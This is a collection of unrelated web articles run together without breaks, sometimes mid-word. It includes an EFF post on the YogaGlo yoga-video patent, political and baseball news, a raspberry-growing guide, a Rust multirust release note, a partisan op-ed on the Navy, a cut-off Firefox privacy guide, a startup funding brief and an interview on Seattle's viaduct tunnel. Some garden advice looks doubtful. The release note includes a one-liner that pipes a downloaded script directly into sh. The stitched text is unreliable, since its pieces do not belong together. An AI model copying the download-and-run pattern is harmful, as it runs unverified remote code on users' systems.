Incredibly, Mills and YogaGlo—despite Yoga International's letter, posts on their blog, and explicit recognition of the duty of candor—never told the PTO about its videos. Instead, on October 29, 2013 and without explanation, Examiner Diep allowed YogaGlo's patent, having never been given the chance to consider the art that was so clearly important.
To be clear, Examiner Diep did a search for prior art. He searched databases available at the PTO, but he did not do a YouTube (or even general Internet) search. Perhaps unsurprisingly, he did not find YogaGlo's videos, or the many other videos that predated YogaGlo's "invention," among the patent databases he searched. The '569 Application issued on December 10, 2013, almost two months after YogaGlo received the information pointing out YogaGlo's prior art videos, and more than four years after YogaGlo had first started posting its videos.
If at First You Succeed, Try Again?
Having received one patent, YogaGlo continued to seek a second through its '621 Application. On February 5, 2014, like with the '569 Application, YogaGlo modified its claims slightly and argued that the claims of the '621 Application were now patentable. Again YogaGlo did not disclose its own videos. But unlike Examiner Diep, Examiner Rahman searched for prior art on YouTube. Below is part of his results:
Through this YouTube search, Examiner Rahman was able to easily find YogaGlo's own videos that implicated the one-year statutory bar. On that basis, the '621 Application was finally rejected on March 7, 2014.
But in a practice that has become all too common at the patent office, the "final" rejection became not so final. On September 17, 2014, YogaGlo asked the examiner to reconsider the application. In an act that can only be called brazen, YogaGlo argued that it's own videos were not prior art, because "while the video appears to show the line of sight corridor, it is clear that it does not show the widening of the corridor as shown in Fig. 1"
Here is Figure 1 from the application with another frame from that "John Friend" video:
We're having a hard time figuring out how this does not blow YogaGlo's claim out of the water. When looking at the frame (a different one than that cited by the examiner), YogaGlo's argument seems completely frivolous to us. But because the examiner cited to a different frame, YogaGlo was able to cite to some minute distinction between its claim and the picture Examiner Rahman found, and ignored the rest of its video. But even if a distinction exists, why does it matter? Is this really something that's a "patentable distinction" over the prior art? Should someone be entitled to a patent every time a room is set up differently or a camera is moved slightly?
Practices at the PTO encourage applicants to keep filing, and to make this sort of meaningless distinction. Examiner Rahman had already finally rejected this application once. But YogaGlo is insistent. Unfortunately, if Examiner Rahman wants to get this work off his plate, the quickest and easiest way is to allow the patent. And applicants know this.
Symptom of a Larger Problem
YogaGlo's patent never should have been filed, and never should have issued. Even more importantly, hopeful patentees should not be incentivized to continue to push for patents despite clear evidence showing the claims are invalid.
In the broader view, it seems unlikely that patents are needed in order to incentivize people to develop new systems and methods for filming. Hollywood has existed for many generations without every director rushing out to patent new styles and angles of filming. Most likely, this is because patenting a new way of filming just doesn't seem like something that patents were meant to protect, and nor are they needed in order to encourage the next Stanley Kubrick. And YogaGlo seems to acknowledge this: their own statement says they wanted to protect the "look and feel" of their videos. This is not something our patent system was designed to protect. But our culture of overclaiming of intellectual property rights likely encouraged YogaGlo to file for a patent and incentivized YogaGlo to seek it at all costs—including honesty. We don't know why YogaGlo's decided to not disclose its own videos, but its failure to do so seems questionable (at best). We asked YogaGlo's lawyer for comment, but he declined.
The PTO relies on applicant disclosures, and should be able to, but in this case, it is clear that such reliance was misplaced. And what is also clear is that an incentive exists to not disclose. The fee worksheet in the file history for the '569 patent application shows that YogaGlo paid $663 when it filed its application. After paying a few more thousand in fees during the pendency of the application, YogaGlo got an almost twenty-year monopoly on its systems and methods for filming a yoga class.
We strongly believe that YogaGlo's patent never should have issued. And we're glad YogaGlo has belatedly agreed. YogaGlo's pending patent application is as deeply flawed as the issued patent. It should do the right thing and abandon its application too. Although pressure from the Yoga community convinced YogaGlo to do the right thing at least with respect to the issued patent, for most people getting rid of a patent is not so easy. To invalidate a patent, the cost is a minimum of $6,000, which is the cost of filing an ex parte re-examination.
Fortunately for the Yoga community, people were willing and able to fight back. But often communities aren't able to do so, and EFF can't help with every stupid patent we find (trust us, we see a lot of them). This is why reform is needed: too many incentives exist to encourage patent applicants to be less than forthcoming, and it is too expensive and difficult to challenge stupid patents. We hope that in telling this story we can start a dialog on how to fix the system to make sure that no one gets a stupid patent on filming a yoga class again.
Reposted from the EFF Deeplinks Blog
Filed Under: filming, patents, prior art, yoga
Companies: yogagloJames Comey’s hotly anticipated Senate testimony packed D.C. bars and drew millions of viewers nationwide Thursday. But discussions of the fired FBI director were all but absent among high-profile supporters of President Trump Donald John TrumpHouse committee believes it has evidence Trump requested putting ally in charge of Cohen probe: report Vietnamese airline takes steps to open flights to US on sidelines of Trump-Kim summit Manafort's attorneys say he should get less than 10 years in prison MORE at the religious right’s “Road to Majority” conference.
Conservative leaders at the Faith and Freedom Coalition conference avoided almost any mention of the blockbuster hearing that captivated the political world. And when they did, they largely brushed aside the testimony and the mounting pressure on Trump by calling on their supporters to keep their eyes on the prize: implementing a conservative agenda.
“It seems like we are living in a parallel universe—you watch CNN and any of the networks, above the fold of the Washington Post, the New York Times, it’s the tick tock of the Trump administration,” Christian Broadcasting Network’s David Brody said Friday, while moderating an interview with conservative commentator Charles Krauthammer.
“But there’s a whole other parallel universe here that thinks, ‘He’s been pretty good on these issues with evangelicals.’”
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Comey’s name was barely mentioned during the event’s first day, which coincided with Comey’s testimony. Trump, who delivered a 35-minute speech soon after the ousted FBI director concluded his public testimony, didn’t mention Comey directly, instead alluding to unnamed “failed, bitter voices.”
“The entrenched interests and failed, bitter voices in Washington will do everything in their power to try to stop us from this righteous cause, to try to stop all of you,” Trump said to a packed room in a basement ballroom of the Omni Shoreham hotel in Washington.
“They will lie, they will obstruct, they will spread their hatred and their prejudice, but we will not back down from doing what is right.”
Trump used his speech to tout his executive order on religious liberty.
And he ran through the conservative highlights of his administration, including the nomination of Justice Neil Gorsuch to the Supreme Court and the recent withdrawal from the Paris climate accord.
Trump’s demeanor during the speech was notably even-keeled—he appeared to make no significant deviations from the script, avoiding the kinds of asides that have thrust him into hot water as president.
Instead, Trump kept his speech focused on the themes of family and faith, quoting a Bible verse and saying, “in America, we don’t worship government, we worship God.”
Second day speakers on Friday continued avoiding Comey’s testimony, with White House counselor Kellyanne Conway, Senate Majority Leader Mitch McConnell Addison (Mitch) Mitchell McConnellHouse to push back at Trump on border Democrats block abortion bill in Senate Overnight Energy: Climate protesters storm McConnell’s office | Center-right group says Green New Deal could cost trillion | Dire warnings from new climate studies MORE (R-Ky.) and Rep. Ann Wagner (R-Mo.) all avoided the topic in their remarks.
The one exception came Friday morning, when Krauthammer and CBN’s Brody sat down for an interview that largely focused on takeaways from the Comey hearing.
Brody’s view of the testimony was largely favorable for Trump—he opened the interview by claiming that the testimony might have actually helped the president. But Krauthammer exuded less confidence.
“He seems to have this gut instinct that works pretty well for him and has in the past,” Brody said of Trump.
"Once again, we saw that play out yesterday. He called Comey a showboat, we saw a little bit of that on display yesterday, some would call it worse than a showboat….Trump seems to be ahead of the curve, sometimes, when a lot of people don’t give him credit for that.”
“He may be,” Krauthammer replied, “But being where we are right now, I think he’s got trouble.”
“The trouble is, he can’t shake this right now, it’s completely out of his control. The most powerful man in Washington is [special counsel] Robert Mueller because he has an unlimited mandate.”
But outside of that back-and-forth, Comey went little-discussed — at least from the stage. Some high-profile speakers claimed that they didn’t even watch the testimony that gripped much of Washington.
Wagner said she missed the hearing while participating in a Foreign Affairs Committee hearing Thursday morning.
And anti-tax crusader Grover Norquist claimed to The Hill that he didn’t watch Comey’s testimony. Norquist lamented that Comey overshadowed other issues like the House’s passage of the CHOICE ACT, a sweeping bill that would roll back much of the Dodd-Frank financial regulations but faces a difficult path in the Senate.
That reaction typified the mood here at the lavish Washington hotel. Republicans who spoke with The Hill appeared frustrated that talk about the Russia probe taking attention away from the administration’s agenda.
“It doesn’t take away from them getting done, but it is interesting that it completely distracts the press and the chattering class,” Norquist told The Hill.
Sen. Ted Cruz Rafael (Ted) Edward CruzTrump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington Trump endorses Cornyn for reelection as O'Rourke mulls challenge MORE (R-Texas) made a similar point in his speech at the conference.
"This is a strange time in Washington — there is a lot of noise, there are a lot of people lighting their hair on fire on cable television,” Cruz said during his Thursday speech.
“I’ve got one simple advice for each of us, the administration and for the majorities in both Houses of Congress, which is ignore the political circus and focus on delivering results. We've got a historic opportunity.”
And some went a step further, calling on Trump to shift back to legislative priorities.
“I don’t want this Trump-focused everything to wreck the conservative movement,” conservative radio host Michael Medved told The Hill following his Friday’s speech.
“Jim Comey versus Donald Trump can be very fascinating theater, it’s not important to the future of the country. Only one person can refocus, which is President Trump, and I wish that he would.”CLOSE Milwaukee Brewers first baseman Eric Thames is hoping the second half of 2017 brings the kind of success he had in April. Enrique Rodriguez
The Brewers' Eric Thames reacts after striking out in a game against Cincinnati. (Photo: Getty Images)
When a player has a season marked by dramatic ups and downs, it inevitably is described as a roller-coaster ride.
In assessing the first half for Milwaukee Brewers first baseman Eric Thames, that description doesn’t seem precise enough. His first foray back in the majors after three years in South Korea was more like a rapid roller-coaster ride up followed by a bungee jump off the Golden Gate Bridge.
Without knowing if the bungee cord was strong enough to save him.
That’s the way it went for Thames, who made the “mistake” of having a dynamic first month that captured the attention of the entire baseball world. He might as well have worn a Superman cape in April, when he set a Brewers record with 11 home runs while compiling a gaudy.810 slugging percentage and 1.276 OPS.
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Then came the plunge off the bridge in May, and yet a steeper plummet in June. Which raises the question: What the heck happened?
Well, for beginners, no player is as good over the long term as Thames was in April, which manager Craig Counsell cautioned many times. But Thames was unable to find any middle ground, leaving him and others scratching their heads.
“It’s been really weird,” Thames conceded before heading home to Las Vegas for the all-star break. “I just need to find a way to stay even, stay in this range right here (even plane).”
When a new player comes into the league – Thames was, in essence, new after three years overseas – and makes an immediate impact, opponents start paying closer attention. They look for weaknesses, tendencies, holes in his swing, and they make adjustments.
Then, it’s up to the player to make reciprocal adjustments. Thames struggled to do so and started pressing, getting away from what had been an extremely disciplined and patient approach at the plate. Home runs dramatically decreased, strikeouts started to soar.
In May, Thames batted only.221 with a.791 OPS, three home runs and nine RBI in 23 games. Thames started pressing even more in June, batting a meager.163 with a.267 OBP,.669 OPS and 39 strikeouts in 105 plate appearances (he had only 45 strikeouts over the first two months).
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Thames’ overall numbers at the break were quite acceptable --.936 OPS, 15 doubles, 23 home runs, 43 RBI from the No. 2 spot in the batting order. But the path to those numbers left him frustrated and a bit crazed.
RELATED: Brewers' weekly minor-league report
“I’ll go home and go over my first half, break down what I did wrong and what I did right. Anything I need to change, and all that stuff. I have to do that. I want to get better.
“You have four days to break down stuff. It’s actually kind of fun.”
No one can question Thames’ dedication to his craft. He’s always working, always studying. Taking endless swings in the batting cage. Going over video until he gets bleary-eyed. Using visualization techniques he picked up while playing in the Far East, he often can be seen in the clubhouse holding a bat in his stance, contemplating the perfect swing.
In fact, Thames soon discovered he was working too much between games. Unaccustomed to the major-league schedule with few days off, he was not giving himself the proper recovery time despite his bodybuilder physique. His legs soon became sore and heavy, negatively affecting his game.
“He’s a good player; he knows that,” Brewers hitting coach Darnell Coles said. “But you don’t want to consume yourself with making outs or striking out. This game puts pressure on you. You don’t need to put it on yourself.
“Coming into spring training, listening to him talk, he didn’t set any expectations. Then you get off to a great start, and you kind of raise the bar.
"In his case, he understands that he’s a big part of our offense. He wants to contribute on a daily basis, like everybody does.
“Those adjustments will come, just knowing how teams are pitching him. Knowing exactly what to do going into certain situations with your game plan. I feel very comfortable that he had a good first half, and I expect nothing less in the second half.”
Thames certainly caught the attention of the MLB drug program. Including the mandatory testing for all players in spring training, he said he has been tested nine times “randomly.” There was one stretch where nearly every time he homered, someone was waiting afterward in the clubhouse to collect urine and/or blood samples.
Good-natured and quick with a smile, Thames never let the constant testing get him down. He actually poked fun at the program at one point, proclaiming, “I’ve got plenty of blood and urine.”
Thames is much more concerned with getting back to the proper approach at the plate. The left-handed hitter started chasing too many bad pitches as the first half progressed and consequently became far less effective against left-handed pitching, dropping his overall average vs. them to.208 with a.796 OPS.
As the calendar turned to July, Thames appeared to be headed back in the right direction, with a.333 batting average in six games, including three home runs,.440 OBP and.810 slugging percentage.
“I think that I’m fine, mentally,” Thames said of the battle to get going at the plate again. “If we kept playing and there was no (all-star) break, I think I’d be OK.
“Baseball is weird. You never know what’s going to happen. It has been fun to be part of this, what we’re doing. I know people don’t think we’re this good but we can’t worry about that. We just go out and have fun and play the game.”
And hope the bungee cord is exactly the right length.
Eric Thames first half of a season back in the major leagues has been marked by dramatic highs and lows. (Photo: Getty Images)
Eric Thames month by month
Month G HR RBI BB K BA OBP SLG
April 24 11 19 18 23.345.466.810
May 23 3 9 16 22.221.375.416
June 26 6 12 13 39.163.267.402
July 6 3 3 4 5.333.440.810Share Facebook
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Raspberries are delicious, versatile and easy to grow in the home garden. One of the best things about raspberies, besides eating them, is the fact that its a perennial plant that means you can plant them once and enjoy the fruits of your labor for years to come(pruning is needed). Follow this easy guide to growing raspberries and get started on the gardening road to growing berries.
Planting Location
Select a sunny location to start your raspberry patch. The site should receive at least 6 hours of direct sun each day.
Avoid low-lying areas where water drainage is poor and collect a soil sample to have tested at your local County Extension Office or garden supply center. Ideal soil pH for raspberry plants is 6.0 to 6.5. Add suggested soil ammendments and till the soil to the depth of 12 inches.
Raspberry Varieties
Raspberries comes in two varieties: erect and trailing. The erect bush variety will not need to be trained to grow on a trellis, but the trailing variety will need a trellis system. The trellis system needs to be installed before planting raspberry canes so the soil around them won’t be disturbed. More about building a trellis for raspberry plants later in the article.
When To Plant Raspberries
After the site has been selected and prepared, it’s time for planting raspberry canes. The ideal raspberry planting time is between December and March. Prepare the soil before it freezes in regions that have harsh winters and cover prepared soil with heavy mulch and a tarp.
How to Plant Raspberries
To plant raspberries, dig planting holes large enough to accommodate all the roots without bunching them up. Dig the holes 12 feet apart so each mature plant will have enough space and soil nutrients. Set the raspberry plant in the hole so the crown will be 1/2 inch below soil level. The crown is the origin of the root mass. When planting raspberries grown in a container, untangle the roots before setting them in the soil.
Some plants will have a piece of an old stem attached to the plant, this is called a ‘handle’ and should be above the soil surface.
Back-fill the hole with soil and water in each plant thoroughly. Add 4-6 inches of organic mulch (pine straw, wood bark chips, etc.) around the base of each plant, but don’t allow the mulch to touch the plant. Mulch helps retain soil moisture and prevents weed growth.
Building a Trellis
As mentioned previously, a trellis system should be built prior to planting raspberry canes if they are the trailing variety. Start by creating a line of fence posts using treated lumber that is about 6 feet tall. Growing berries will spread out and produce fruit for many years, so treated lumber is needed to prevent wood rot. Set posts in the ground 1 1/2 to 2 feet deep for stability and space them 10-20 feet apart in a straight row.
Use 9 gauge wire to create the growing pattern for the trailers that will grow from the raspberry plants. Start by attaching the first strand of wire 2 feet off the ground and stretching it along the length of the berry patch, connecting it to each post. Follow that with 2 more strands of wire spaced 18 inches apart.
The plants will be trained to grow along these strands of wire for easy care of berry harvesting.
Pruning and Training
Pruning isn’t needed the first year and only prune away the dying canes after the plant has produced its crop of berries the second season and every season thereafter.
Tie one new cane to in each side of the plant to the bottom wire of the trellis using flexible strips of fabric. Tie the fabric loosely to prevent it from cutting into the canes. As the raspberry plant grows, continue to tie the lateral growing canes to the second and top wires of the trellis. Prune away all growth below the first wire and all canes except the 3 on each side of the plant that are attached to the trellis wires.
Fertilize
Growing raspberry plants need to be fertilized twice a year: once in April and again in July. Scatter 2 ounces of granulated 10-10-10 fertilize on the soil around the base of each plant, being careful not to touch any part of the plant with the fertilize. Water the plants well after pruning and fertilizing.
Harvest Time
The reward of growing raspberries is getting to harvest and eat them at their peak. Berries are ready when they lose their high-gloss shine and turn slightly dull.Multirust, the tool for managing Rust installations on OS X and Linux, has been updated to version 0.0.3. If you spend a lot of time working in Rust on a Unixy system, consider letting multirust deal with the regular toolchain updates.
Installation is a one-liner:
curl -sf https://raw.githubusercontent.com/brson/multirust/master/blastoff.sh | sh
Upgraders will be asked to run multirust upgrade-data. It should be painless.
This release is based on rustup.sh. It includes a new variation of the update command: invoking multirust update with no further arguments will update all three release channels and then print out the current revisions.
The other new feature is the run command: multirust run <toolchain> <command> [args] will configure the environment so future toolchain invocations use a specific toolchain. For example, multirust run beta bash will start a shell in which future invocations of rustc use the beta toolchain, regardless of the directory override or default toolchains.
Finally, update notifications have been removed because they were annoying.
Changes:To Fix the Department of the Navy - Kill the Mabus Legacy
Gary Anderson
Global warming and political incorrectness are the greatest threats to the United States, and it is the job of America’s Navy to protect us from those threats. For the past eight years, that has been the strategic legacy of Navy Secretary Ray Mabus, and the primary goal of his successor should be to ensure that Mabus has no legacy. The traditional mission of the US Navy has been to deter potentially hostile navies, or failing to do that, defeat them. Getting the US naval services back to that philosophy is going to be a big job for the new administration.
The Mabus priorities have been making the naval services more caring, inclusive, and environmentally protective. Discipline, combat effectiveness, and readiness have been secondary goals at best. Under Mabus, the Navy has sunk to readiness levels approaching those of the post-Vietnam Carter era. The breakdown of the appropriately named USS Zumwalt in the Panama Canal late last year is symbolic of Mabus and his “Great Green Fleet” concept. Zumwalt was arguably the worst Chief of Naval Operations in history. His namesake ship has been a disaster. Its main gun fires a round that is so expensive that it cannot be used in training, and would be ineffective in supporting sustained land operations, which is one of its primary missions.
The disgraceful conduct of sailors captured by the Iranians last year, and the incompetence of seamanship that led to the incident, are a direct reflection of the misplaced priorities of the Department of the Navy under Mabus. The fact that the Marine Corps has remained an effective military organization is primarily due to the moral courage of Marine Corps leaders who challenged Mabus and his extreme social experimentation at its worst when he attempted to integrate male and female units at the Marine Corps’ two recruit training establishments (Boot Camps).
The next Navy Secretary should have three immediate priorities:
First, should be a firm statement that a return combat readiness and iron discipline will the primary emphasis of the Navy and Marine Corps. Leaders should not be afraid to discipline malcontents because they might be accused of being racist or sexist; that is not the case today. Sailors and Marines should be trained to be warriors and not lab rats in bizarre social experiments. In addition, the Navy Department and the Defense Department as a whole should abandon hyphenated American celebration days. LGBT sailors and Marines are allowed to serve by law, but some are now demanding special recognition. Being recognized as a competent warrior should be enough. The demand for special recognition for race or sexual orientation detracts from morale, good order, and discipline; such celebrations have outlived their usefulness if they ever had any in the first place.
A second priority should be to conduct a thorough investigation into the Mabus’ era project on biofuels. In a recent Washington Post interview, Mabus touted supplying biofuels that cost only $1.99 a gallon as part of his legacy. The shady accounting that led to that ridiculous claim should be investigated and Mabus should be prohibited from being employed by any of the renewable energy firms with Navy contracts that profited from that scam in the future if it is shown to be bogus. If an investigation shows that biofuels are indeed cost effective and don’t impact operational efficiency, I’ll eat my hat; I’ll even buy a USS Zumwalt hat, and eat it.
Third, the embarrassingly bad performance of the Navy’s Littoral Combat Ships (LCS) is an example of shoddy management and poor judgment involved in that program should result in a total review of Mabus era naval procurement. In the 21st Century, taxpayers should be able to demand that a multimillion dollar Navy ship have the same type of quality expected of a Toyota Prius.
The US Navy and its partner Marine Corps are facing extraordinary challenges in the 21st century. They have to be prepared to deter big wars with regional threats such as China, Iran, and North Korea as well as to wage small hybrid wars with non-state actors. They need to do so in an environment where threat include cyber warfare and insider attacks in an era of increasingly austere budgets. Secretary Mabus and people like him have used the Department of the Navy to accomplish non-military “progressive” political objectives at the expense of a real military capabilities.
Mabus and his ilk should be investigated for their performance in office; their “accomplishments” go beyond incompetent. If their actions are found to be of such a nature that they have eroded national security to further their political agendas, they should be prohibited from doing business with the government in the future.How To Guide: Hardening Mozilla Firefox Quantum For Privacy & Security 2018 Edition
Cyber Security Wiki Navigation:
Welcome to our 2018 guide for hardening Firefox Quantum against security and privacy threats. This guide is intended to show users how to modify Firefox settings to resist surveillance by governments and corporations, to increase the strength of the encryption while browsing and to reduce the amount of data leaking from your browser.
Important changes since the previous 2014 edition:
-The recommendation for Adblock Plus has been changed to µBlock Origin. This is because Adblock Plus is whitelisting ad domains and not blocking all ads. Adblock Edge, an alternative, is also being discontinued. µBlock also uses less resources than Adblock Plus.
-The recommendation for NoScript has been changed to uMatrix. This is because NoScript at the time of this writing has re-written their code to support |
.
Maker's Row, the New York-based startup that connects American manufacturers with businesses, successfully closed a seed round of $1 million.
The round was led by Comcast Ventures and Index Ventures and included funding by prominent angel investors such as Reddit co-founder Alexis Ohanian and Joanne Wilson, who has invested in the websites Daily Worth and Nestio.
Launched in November 2012, Maker's Row is an online directory of factories and suppliers across the U.S. It seeks to simplify the manufacturing process for American companies.
"From first-time entrepreneurs to big brands, everyone faces the same problem when it comes to finding a factory in the U.S.," says Matthew Burnett, co-founder and chief executive of Maker's Row, in a statement. "When your resources are limited, your options are limited and overall business suffers."
Maker's Row says it currently works with thousands of manufacturers in the apparel and accessories space and plans to introduce new industries and expand its technology team.
Related: Maker's Row Ushers in a New Wave of U.S. ManufacturingIn the Pacific Northwest, where well over half the electric power comes from low-carbon hydro, the climate challenge is primarily about reducing greenhouse gas emissions from transportation. That is to say: it’s about cars.
WSDOTDespite their ostentatious talk on climate, many of the region’s political leaders don’t seem to be making the transportation connection. Nowhere is that more evident than in the fight over how to replace Seattle’s crumbling Alaskan Way Viaduct, a two-mile-long elevated stretch of State Route 99 running along the city’s waterfront. It offers a gorgeous, iconic view of the city and the waterfront, but the next earthquake may well reduce it to rubble, so there’s pressure on to figure out what to replace it with.
The alternative with the most momentum, backed by Washington Gov. Christine Gregoire (D) and powerful business interests, is a gigantic bored tunnel — a concrete-heavy, emissions-intensive, multi-billion-dollar piece of old-school highway infrastructure devoted almost entirely to cars, shuttling suburban drivers past the urban core. What’s worse, it is being rammed through over the express opposition of Seattle voters.
If such a megaproject sounds crazy to you in an era of climate crisis, peak oil, and starved state budgets, you are not alone. A coalition of urbanists and environmentalists is rallying around an alternative: a “surface street option” that would, as with San Francisco’s Embarcadero freeway, eliminate the highway, replacing it with a waterfront surface road, enhanced transit, and traffic improvements to surrounding streets and nearby Interstate 5.
One of the major forces behind the surface option is a rising star in Seattle progressive politics, Cary Moon, whose People’s Waterfront Coalition has done more than any other group to demonstrate that there is a viable alternative to car-centric madness.
I chatted with Moon last week about the history of the tunnel fight and what comes next.
DR: Can you lay out the basic story of how Seattle got here?
CM: [The Alaskan Way Viaduct] has been in bad shape for a while; the 2001 earthquake forced agencies into action. It got pretty severely damaged and they almost closed it down right then and there. But they decided, no, we’ve got to figure out how we want to replace it before we close it. So WSDOT [Washington State Department of Transportation] and SDOT [Seattle Department of Transportation] considered alternatives and came up with either a cut-and-cover tunnel or an elevated highway on the waterfront.
The mayor [Greg Nickels] liked the cut-and-cover tunnel, which was part elevated, part surface, and nine blocks of underground tunnel. The governor liked the elevated, because it was cheaper. They couldn’t agree, so they decided to toss it to the voters. In 2007, voters in Seattle looked at both options and said no (55 percent) to the elevated and no (70 percent) to the tunnel.
About two years prior to that, [the People’s Waterfront Coalition] had formed to say, wait a minute, why are we even assuming it has to be a highway? We did a lot of research on what was going on in other cities and brought all these case studies of giant urban highways that had been torn down – and the traffic impacts were better without the highway than with it. It’s counterintuitive, but it works. You’re giving people more choice. You’re distributing trips instead of channeling them all into one place, which can jam up when there’s congestion. It’s got environmental benefits, because you’re encouraging people to stay local rather than enabling sprawl and long-distance commutes.
vision63 via Flickr
DR: What are some of the other cities who have been through this?
CM: The biggest is Seoul, Korea. They took out a highway that had 160,000 cars a day and replaced it with transit and a four-lane street. The Embarcadero in San Francisco: they didn’t think they could live without it, but they took it down and now that is one of the best places in San Francisco. Merchants love the local access rather than highway through-put. The West Side Highway in New York: there was a big fight about replacing it to avoid gridlock. The highway fell down and they realized, wait a minute, there’s no gridlock, maybe we don’t need it. They put in a surface street, maybe not the nicest street in the world, but it shows that a highway can be replaced by a better-connected street and life goes on. Portland took out a waterfront highway and reclaimed their waterfront for people.
DR: So, 2007 was when voters rejected both the tunnel and the elevated highway. Then?
CM: A lot of people at the time said that our side won, because [the surface-street option] was the only option left on the table. But it wasn’t that easy.
At that point, the city, county, and state said, OK, we failed the first round, let’s start again; let’s set up a stakeholder process where we’re going to stay in lockstep and come up with a solution together. After a year of study, the two winners were surface/transit/I-5 or a skinnier elevated highway with a lot of transit. A representative sample of the citizen groups involved signed a letter saying, yep, let’s do that, and keep the door open to a bored tunnel later if it ends up not providing enough car capacity. We thought we won again!
But then Gregoire checked in with the other people that she works with — Boeing, the regional Chamber of Commerce, other suburban interests — and they said, no way, that’s crazy, you have to rebuild that highway; you should just do the bored tunnel. The bored tunnel had been rejected by officials because it was too expensive and risky, but they talked Gregoire into it anyway.
That’s where the situation’s been the past two years: the official preferred alternative is the bored tunnel and they’re pursuing it full-force.
DR: This is the juncture that confuses me. Seattle voters spoke. The city and state departments of transportation spoke. Civic groups spoke. Then the governor single-handedly overrode all that?
CM: Yes.
DR: Wow.
CM: I’m giving you my biased view. There were plenty of stakeholders in the 29 citizen groups who liked the bored tunnel from th
e beginning. But officials were saying, no, you don’t understand. That’s too expensive. We can’t do that. You can’t have your cake and eat it too.
The stakeholder process ended in December 2008. On Jan. 13, 2009, Gregoire announced with [former Seattle Mayor Greg] Nickels and [former King County Commissioner Ron] Sims that they’re doing the bored tunnel, along with $190 million worth of transit service (that’s how they got Sims to go along with it).
DR: What is the legal force behind the tunnel being decided? Is it official now?
CM: It’s still not official — it’s a “preferred alternative.” It’s just that politically it has a lot of momentum. Tunnel supporters want everyone to believe it’s past the point of no return. And as you can imagine, after nine years of arguing, people are exhausted and they just want to be done with it.
DR: Has nobody been able to mount serious protest?
CM: Until there was actually a budget, a plan on paper, it was hard to attack the tunnel. Tunnel proponents kept saying, don’t worry, the traffic’s just going to disappear! It’s totally affordable! There’s no risk! They spent almost two years in that mode, but the draft EIS [environmental impact statement] came out recently from WSDOT.
Now that the facts are on the table, politicians are forced to confront the reality, not the fantasy. A new citizens’ initiative [Move Seattle Smarter] is launching, saying the city can’t sign any agreements on the tunnel until there’s a full, transparent funding plan and someone steps up to the plate for potential cost overrun.
WSDOTDR: That’s always been Seattle Mayor Mike McGinn’s ace in the hole against the tunnel, right? Cost overruns? [McGinn was elected in November 2009 on an anti-tunnel platform.]
CM: Politically, that is what gets people the most irritated, that WSDOT picked this project and then said they’re only going to pay a certain amount and the citizens of Seattle will pick up the rest.
The state has agreed to pay $2.4 billion out of an estimated $3.1 billion. They’re hoping to get $300 million from the port, but that’s not secure yet. They’re going to toll the tunnel, so they’re going to float bonds for $400 million on future toll revenue. There’s $700 million of unsecured money.
Every single agency or government involved has said they are not paying a penny more for cost overruns. Kind of a problem. If the project goes over budget, there’s no money for that. Usually that would be fine, except in this case the cost estimate the state is using is their 60th-percentile number, meaning there’s a 40 percent chance it’s going to cost more.
DR: By the state’s reckoning. Is there reason to believe they might be under-counting?
CM: Given that nine out of 10 mega-projects exceed their budgets, tunnels are some of the worst, and this is the largest diameter [single-bore tunnel] ever attempted in the history of the world, yes.
–> PAGE TWO: WHAT THE SURFACE STREET OPTION WOULD LOOK LIKE
DR: Describe what the surface option would look like.
CM: The first thing is a regular four-lane street on the waterfront, which is what all the tunnel proponents say they’re really after.
People’s Waterfront Coalition
Heavy transit investment in three main corridors: West Seattle to downtown, Ballard to downtown, and Aurora North to downtown. Probably bus rapid transit to start. We still need to figure out the exact details. McGinn is interested in light rail, but a lot of people think that takes too long and we need something fast and now. I would push for bus rapid transit now. As we create demand for transit, put in light rail on the routes that need it.
People’s Waterfront Coalition
Improvements to I-5. Without increasing the footprint, you can rearrange the way the on- and off-ramps work and get a third northbound lane through downtown — just using the pavement we have more efficiently. All the through-trips trying to bypass the city can fit there. Similar tweaks to southbound can get 20 percent more throughput, which is plenty for the bypass trips.
Then a lot of small improvements throughout the street grid, to give transit better priority, to increase connectivity in neighborhoods, so that some of the streets that are parallel to the viaduct but aren’t very well-used could be better-used. In the South Lake Union neighborhood, for instance, all these wide streets are at about half capacity or less. If we could fix the intersections across Denny and Mercer, all those streets could be more useful.
Then, aggressive demand management, commute-trip reduction, carpooling. All those things are really cheap, and they add up. You can encourage about 25 percent of the trips not to happen through use of those programs.
DR: How much would the surface street option cost?
CM: It’s about a billion dollars less than the tunnel. That’s recently been affirmed by the director of SDOT. They’re all small projects.
DR: It also seems more resilient. If you have cost overruns, there are incremental ways of dialing back. There are no increments in a tunnel.
CM: Well said. Apples to apples, if you add up the city’s and state’s projects for the tunnel, it’s $4.2 billion. The surface/transit/I-5 solution would be $3.3 billion.
DR: Describe for us what the tunnel would look like, where it would be, and who would go through it.
WSDOTCM: There would be two lanes each way {this info is in the next para}. The south portal, where it goes underground, is at Alaskan Way and King Street, right next to the Pioneer Square Historic District. Then it would stay along the waterfront
for a bit, go under downtown diagonally, and come out at 6th Avenue and Roy, right by the Gates Foundation, and hook up with SR-99.
There would be no exits. No transit, because there aren’t any transit routes that bypass downtown. No bikes, obviously. The emergency egress is also quite interesting: If there is accident or fire and you need to get out, you have to walk to either end. There are no elevators or stairs. What if you’re on crutches, or in a wheelchair, or sick? You just have to wait until someone comes to rescue you. And the shoulders are tiny, just two feet and six feet, so it’s not like there is a lot of room for emergency vehicles if there’s congestion.
UrbanScraperDR: Are we talking about a single, gigantic drill that’s going to start drilling under Seattle?
CM: Yes. It’s 55 or 56 feet across and something like 400 feet long. If it gets stuck, like if it bumps into a boulder, how would you ever get it out, repair it, or replace it? One of the tunnel experts hired by the city quoted a study that said one out of three boring machines like this gets stuck and has to be repaired, replaced, or removed. How would you do that under downtown Seattle?
DR: You’re tunneling under some pretty old and historic parts of Seattle, too, especially by Pioneer Square, right?
WSDOTCM: Yeah. They moved the alignment. They were going to do it right under 1st Avenue through Pioneer Square. They realized they couldn’t do that; there is just too much fragile stuff down there. So they moved it over to the waterfront, but it is still next to the Historic District, and then when it cuts diagonal, it goes underneath 14 historic buildings. Two of them are going to have to be removed, probably, because they can’t really repair them or protect them. Twelve are in harm’s way, but they feel like with jet grouting and monitoring and some money for repairs, they’ll be okay.
I haven’t told this to anybody in the media yet, because they don’t have it in writing, but I’ll just tell you: it goes under the historic Federal Building, and the federal government has never given rights to use land underneath their buildings. They just don’t do that. They’ve made that clear to WSDOT, but WSDOT is proceeding anyway. They’re moving forward as if that problem’s just going to go away.
DR: What’s going to happen now? If McGinn says Seattle isn’t going to sign onto an agreement until someone has committed to the cost overruns, what happens then?
CM: It’s not clear. Gregoire probably has enough authority to do this project without any cooperation from the city of Seattle.
